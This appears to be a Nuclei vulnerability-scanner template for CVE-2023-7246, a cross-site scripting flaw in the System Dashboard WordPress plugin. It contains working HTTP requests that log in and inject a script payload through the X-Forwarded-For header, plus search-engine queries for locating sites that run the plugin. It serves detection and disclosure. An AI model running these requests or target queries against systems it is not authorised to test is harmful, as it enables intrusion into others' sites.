The System Dashboard WordPress plugin before 2.8.10 does not sanitize and escape some parameters, which could allow administrators in multisite WordPress configurations to perform Cross-Site Scripting attacks through header injection, specifically in the X-Forwarded-For header.
PoC
id: CVE-2023-7246
info:
name: System Dashboard < 2.8.10 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
The System Dashboard WordPress plugin before 2.8.10 does not sanitize and escape some parameters, which could allow administrators in multisite WordPress configurations to perform Cross-Site Scripting attacks through header injection, specifically in the X-Forwarded-For header.
impact: |
Authenticated administrators in multisite WordPress configurations can inject malicious JavaScript through X-Forwarded-For header to execute attacks against other WordPress users.
remediation: |
Update the System Dashboard plugin to version 2.8.10 or later.
reference:
- https://wpscan.com/vulnerability/7413d5ec-10a7-4cb8-ac1c-4ef554751518/
- https://research.cleantalk.org/cve-2023-7246/
- https://nvd.nist.gov/vuln/detail/CVE-2023-7246
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2023-7246
cwe-id: CWE-79
epss-score: 0.00813
epss-percentile: 0.55239
metadata:
verified: true
max-request: 2
fofa-query: body="wp-content/plugins/system-dashboard/"
google-query: inurl:"/wp-content/plugins/system-dashboard/"
shodan-query: html:"wp-content/plugins/system-dashboard/"
tags: cve,cve2023,wp,wordpress,xss,wp-plugin,authenticated,system-dashboard,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/index.php?page=system-dashboard HTTP/1.1
Host: {{Hostname}}
X-Forwarded-For: 0.0.0.0<script>alert(document.domain)</script>
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(document.domain)</script>"
- "Your IP</strong>"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a00483046022100c0ff17570d534674a0ecf14c2390a93a36036960d631f9444a31742cbddb9e11022100d5d347c32dfbbc2d8d4b2cbc5e3c03cd91a4736bfae7b918941d4f3cb71e3b24:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.